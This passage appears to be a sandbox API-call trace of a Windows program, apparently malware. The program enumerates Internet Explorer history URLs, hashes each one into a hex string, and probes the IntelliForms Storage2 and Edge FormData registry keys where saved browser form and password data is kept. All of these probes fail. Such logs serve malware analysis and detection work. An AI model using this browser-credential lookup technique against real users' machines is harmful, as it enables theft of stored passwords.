(uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.599] lstrcpyA (in: lpString1=0x763518, lpString2="0DD479EFEE76BA1DDF86" | out: lpString1="0DD479EFEE76BA1DDF86") returned="0DD479EFEE76BA1DDF86" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86", lpString2="29" | out: lpString1="0DD479EFEE76BA1DDF8629") returned="0DD479EFEE76BA1DDF8629" [0053.599] LocalFree (hMem=0x763478) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2E") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1DDF8629") returned 22 [0053.599] lstrlenA (lpString="2E") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.599] lstrcpyA (in: lpString1=0x758820, lpString2="0DD479EFEE76BA1DDF8629" | out: lpString1="0DD479EFEE76BA1DDF8629") returned="0DD479EFEE76BA1DDF8629" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF8629", lpString2="2E" | out: lpString1="0DD479EFEE76BA1DDF86292E") returned="0DD479EFEE76BA1DDF86292E" [0053.599] LocalFree (hMem=0x763518) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E") returned 24 [0053.599] lstrlenA (lpString="49") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758b68 [0053.599] lstrcpyA (in: lpString1=0x758b68, lpString2="0DD479EFEE76BA1DDF86292E" | out: lpString1="0DD479EFEE76BA1DDF86292E") returned="0DD479EFEE76BA1DDF86292E" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E", lpString2="49" | out: lpString1="0DD479EFEE76BA1DDF86292E49") returned="0DD479EFEE76BA1DDF86292E49" [0053.599] LocalFree (hMem=0x758820) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49") returned 26 [0053.599] lstrlenA (lpString="ED") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.599] lstrcpyA (in: lpString1=0x758820, lpString2="0DD479EFEE76BA1DDF86292E49" | out: lpString1="0DD479EFEE76BA1DDF86292E49") returned="0DD479EFEE76BA1DDF86292E49" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49", lpString2="ED" | out: lpString1="0DD479EFEE76BA1DDF86292E49ED") returned="0DD479EFEE76BA1DDF86292E49ED" [0053.600] LocalFree (hMem=0x758b68) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CE") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49ED") returned 28 [0053.600] lstrlenA (lpString="CE") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758b68 [0053.600] lstrcpyA (in: lpString1=0x758b68, lpString2="0DD479EFEE76BA1DDF86292E49ED" | out: lpString1="0DD479EFEE76BA1DDF86292E49ED") returned="0DD479EFEE76BA1DDF86292E49ED" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49ED", lpString2="CE" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE") returned="0DD479EFEE76BA1DDF86292E49EDCE" [0053.600] LocalFree (hMem=0x758820) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE") returned 30 [0053.600] lstrlenA (lpString="63") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.600] lstrcpyA (in: lpString1=0x754cf0, lpString2="0DD479EFEE76BA1DDF86292E49EDCE" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE") returned="0DD479EFEE76BA1DDF86292E49EDCE" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE", lpString2="63" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63") returned="0DD479EFEE76BA1DDF86292E49EDCE63" [0053.600] LocalFree (hMem=0x758b68) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D6") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE63") returned 32 [0053.600] lstrlenA (lpString="D6") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.600] lstrcpyA (in: lpString1=0x754b90, lpString2="0DD479EFEE76BA1DDF86292E49EDCE63" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63") returned="0DD479EFEE76BA1DDF86292E49EDCE63" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63", lpString2="D6" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6" [0053.600] LocalFree (hMem=0x754cf0) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F4") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE63D6") returned 34 [0053.600] lstrlenA (lpString="F4") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.600] lstrcpyA (in: lpString1=0x754cf0, lpString2="0DD479EFEE76BA1DDF86292E49EDCE63D6" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6", lpString2="F4" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F4") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F4" [0053.600] LocalFree (hMem=0x754b90) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="50") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE63D6F4") returned 36 [0053.600] lstrlenA (lpString="50") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.600] lstrcpyA (in: lpString1=0x754b90, lpString2="0DD479EFEE76BA1DDF86292E49EDCE63D6F4" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F4") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F4" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F4", lpString2="50" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F450" [0053.600] LocalFree (hMem=0x754cf0) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C7") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE63D6F450") returned 38 [0053.600] lstrlenA (lpString="C7") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750f50 [0053.600] lstrcpyA (in: lpString1=0x750f50, lpString2="0DD479EFEE76BA1DDF86292E49EDCE63D6F450" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F450" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450", lpString2="C7" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7" [0053.600] LocalFree (hMem=0x754b90) returned 0x0 [0053.600] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="88") returned 2 [0053.600] lstrlenA (lpString="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7") returned 40 [0053.600] lstrlenA (lpString="88") returned 2 [0053.600] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750de0 [0053.600] lstrcpyA (in: lpString1=0x750de0, lpString2="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7" [0053.600] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C7", lpString2="88" | out: lpString1="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C788") returned="0DD479EFEE76BA1DDF86292E49EDCE63D6F450C788" [0053.600] LocalFree (hMem=0x750f50) returned 0x0 [0053.600] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.600] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.601] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.601] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.601] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.601] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.601] LocalFree (hMem=0x750de0) returned 0x0 [0053.601] CoTaskMemFree (pv=0x7624d8) [0053.601] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.601] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/cOEr.mkv", lpSrch="?") returned 0x0 [0053.601] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/cOEr.mkv") returned 49 [0053.601] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8B") returned 2 [0053.601] lstrlenA (lpString="") returned 0 [0053.601] lstrlenA (lpString="8B") returned 2 [0053.601] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.601] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.601] lstrcatA (in: lpString1="", lpString2="8B" | out: lpString1="8B") returned="8B" [0053.601] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4E") returned 2 [0053.601] lstrlenA (lpString="8B") returned 2 [0053.601] lstrlenA (lpString="4E") returned 2 [0053.601] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.601] lstrcpyA (in: lpString1=0x7605a0, lpString2="8B" | out: lpString1="8B") returned="8B" [0053.601] lstrcatA (in: lpString1="8B", lpString2="4E" | out: lpString1="8B4E") returned="8B4E" [0053.601] LocalFree (hMem=0x760510) returned 0x0 [0053.601] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="34") returned 2 [0053.601] lstrlenA (lpString="8B4E") returned 4 [0053.601] lstrlenA (lpString="34") returned 2 [0053.601] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.601] lstrcpyA (in: lpString1=0x760510, lpString2="8B4E" | out: lpString1="8B4E") returned="8B4E" [0053.601] lstrcatA (in: lpString1="8B4E", lpString2="34" | out: lpString1="8B4E34") returned="8B4E34" [0053.601] LocalFree (hMem=0x7605a0) returned 0x0 [0053.601] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A0") returned 2 [0053.601] lstrlenA (lpString="8B4E34") returned 6 [0053.601] lstrlenA (lpString="A0") returned 2 [0053.601] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.601] lstrcpyA (in: lpString1=0x7633b8, lpString2="8B4E34" | out: lpString1="8B4E34") returned="8B4E34" [0053.601] lstrcatA (in: lpString1="8B4E34", lpString2="A0" | out: lpString1="8B4E34A0") returned="8B4E34A0" [0053.601] LocalFree (hMem=0x760510) returned 0x0 [0053.601] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AD") returned 2 [0053.601] lstrlenA (lpString="8B4E34A0") returned 8 [0053.601] lstrlenA (lpString="AD") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.602] lstrcpyA (in: lpString1=0x76a200, lpString2="8B4E34A0" | out: lpString1="8B4E34A0") returned="8B4E34A0" [0053.602] lstrcatA (in: lpString1="8B4E34A0", lpString2="AD" | out: lpString1="8B4E34A0AD") returned="8B4E34A0AD" [0053.602] LocalFree (hMem=0x7633b8) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B7") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0AD") returned 10 [0053.602] lstrlenA (lpString="B7") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.602] lstrcpyA (in: lpString1=0x7633b8, lpString2="8B4E34A0AD" | out: lpString1="8B4E34A0AD") returned="8B4E34A0AD" [0053.602] lstrcatA (in: lpString1="8B4E34A0AD", lpString2="B7" | out: lpString1="8B4E34A0ADB7") returned="8B4E34A0ADB7" [0053.602] LocalFree (hMem=0x76a200) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7") returned 12 [0053.602] lstrlenA (lpString="EE") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.602] lstrcpyA (in: lpString1=0x76a200, lpString2="8B4E34A0ADB7" | out: lpString1="8B4E34A0ADB7") returned="8B4E34A0ADB7" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7", lpString2="EE" | out: lpString1="8B4E34A0ADB7EE") returned="8B4E34A0ADB7EE" [0053.602] LocalFree (hMem=0x7633b8) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE") returned 14 [0053.602] lstrlenA (lpString="96") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.602] lstrcpyA (in: lpString1=0x763518, lpString2="8B4E34A0ADB7EE" | out: lpString1="8B4E34A0ADB7EE") returned="8B4E34A0ADB7EE" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7EE", lpString2="96" | out: lpString1="8B4E34A0ADB7EE96") returned="8B4E34A0ADB7EE96" [0053.602] LocalFree (hMem=0x76a200) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="37") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE96") returned 16 [0053.602] lstrlenA (lpString="37") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.602] lstrcpyA (in: lpString1=0x763478, lpString2="8B4E34A0ADB7EE96" | out: lpString1="8B4E34A0ADB7EE96") returned="8B4E34A0ADB7EE96" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7EE96", lpString2="37" | out: lpString1="8B4E34A0ADB7EE9637") returned="8B4E34A0ADB7EE9637" [0053.602] LocalFree (hMem=0x763518) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE9637") returned 18 [0053.602] lstrlenA (lpString="C3") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.602] lstrcpyA (in: lpString1=0x763518, lpString2="8B4E34A0ADB7EE9637" | out: lpString1="8B4E34A0ADB7EE9637") returned="8B4E34A0ADB7EE9637" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637", lpString2="C3" | out: lpString1="8B4E34A0ADB7EE9637C3") returned="8B4E34A0ADB7EE9637C3" [0053.602] LocalFree (hMem=0x763478) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6F") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE9637C3") returned 20 [0053.602] lstrlenA (lpString="6F") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.602] lstrcpyA (in: lpString1=0x763478, lpString2="8B4E34A0ADB7EE9637C3" | out: lpString1="8B4E34A0ADB7EE9637C3") returned="8B4E34A0ADB7EE9637C3" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C3", lpString2="6F" | out: lpString1="8B4E34A0ADB7EE9637C36F") returned="8B4E34A0ADB7EE9637C36F" [0053.602] LocalFree (hMem=0x763518) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5B") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F") returned 22 [0053.602] lstrlenA (lpString="5B") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.602] lstrcpyA (in: lpString1=0x758b68, lpString2="8B4E34A0ADB7EE9637C36F" | out: lpString1="8B4E34A0ADB7EE9637C36F") returned="8B4E34A0ADB7EE9637C36F" [0053.602] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F", lpString2="5B" | out: lpString1="8B4E34A0ADB7EE9637C36F5B") returned="8B4E34A0ADB7EE9637C36F5B" [0053.602] LocalFree (hMem=0x763478) returned 0x0 [0053.602] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.602] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5B") returned 24 [0053.602] lstrlenA (lpString="C3") returned 2 [0053.602] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.602] lstrcpyA (in: lpString1=0x758820, lpString2="8B4E34A0ADB7EE9637C36F5B" | out: lpString1="8B4E34A0ADB7EE9637C36F5B") returned="8B4E34A0ADB7EE9637C36F5B" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5B", lpString2="C3" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC3") returned="8B4E34A0ADB7EE9637C36F5BC3" [0053.603] LocalFree (hMem=0x758b68) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9A") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC3") returned 26 [0053.603] lstrlenA (lpString="9A") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.603] lstrcpyA (in: lpString1=0x758b68, lpString2="8B4E34A0ADB7EE9637C36F5BC3" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC3") returned="8B4E34A0ADB7EE9637C36F5BC3" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC3", lpString2="9A" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39A") returned="8B4E34A0ADB7EE9637C36F5BC39A" [0053.603] LocalFree (hMem=0x758820) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CD") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39A") returned 28 [0053.603] lstrlenA (lpString="CD") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.603] lstrcpyA (in: lpString1=0x758820, lpString2="8B4E34A0ADB7EE9637C36F5BC39A" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39A") returned="8B4E34A0ADB7EE9637C36F5BC39A" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39A", lpString2="CD" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACD") returned="8B4E34A0ADB7EE9637C36F5BC39ACD" [0053.603] LocalFree (hMem=0x758b68) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C6") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACD") returned 30 [0053.603] lstrlenA (lpString="C6") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.603] lstrcpyA (in: lpString1=0x754b90, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACD" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACD") returned="8B4E34A0ADB7EE9637C36F5BC39ACD" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACD", lpString2="C6" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6" [0053.603] LocalFree (hMem=0x758820) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D6") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACDC6") returned 32 [0053.603] lstrlenA (lpString="D6") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.603] lstrcpyA (in: lpString1=0x754cf0, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACDC6" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6", lpString2="D6" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6" [0053.603] LocalFree (hMem=0x754b90) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9B") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6") returned 34 [0053.603] lstrlenA (lpString="9B") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.603] lstrcpyA (in: lpString1=0x754b90, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D6", lpString2="9B" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B" [0053.603] LocalFree (hMem=0x754cf0) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B4") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B") returned 36 [0053.603] lstrlenA (lpString="B4") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.603] lstrcpyA (in: lpString1=0x754cf0, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69B", lpString2="B4" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4" [0053.603] LocalFree (hMem=0x754b90) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3A") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4") returned 38 [0053.603] lstrlenA (lpString="3A") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.603] lstrcpyA (in: lpString1=0x750de0, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB4", lpString2="3A" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A" [0053.603] LocalFree (hMem=0x754cf0) returned 0x0 [0053.603] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A8") returned 2 [0053.603] lstrlenA (lpString="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A") returned 40 [0053.603] lstrlenA (lpString="A8") returned 2 [0053.603] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.603] lstrcpyA (in: lpString1=0x750f50, lpString2="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A" [0053.603] lstrcatA (in: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43A", lpString2="A8" | out: lpString1="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43AA8") returned="8B4E34A0ADB7EE9637C36F5BC39ACDC6D69BB43AA8" [0053.603] LocalFree (hMem=0x750de0) returned 0x0 [0053.603] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.604] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.604] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.604] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.604] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.604] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.604] LocalFree (hMem=0x750f50) returned 0x0 [0053.604] CoTaskMemFree (pv=0x746298) [0053.604] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.604] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/NRTBy7bAD_f.bmp", lpSrch="?") returned 0x0 [0053.604] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/NRTBy7bAD_f.bmp") returned 88 [0053.604] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F2") returned 2 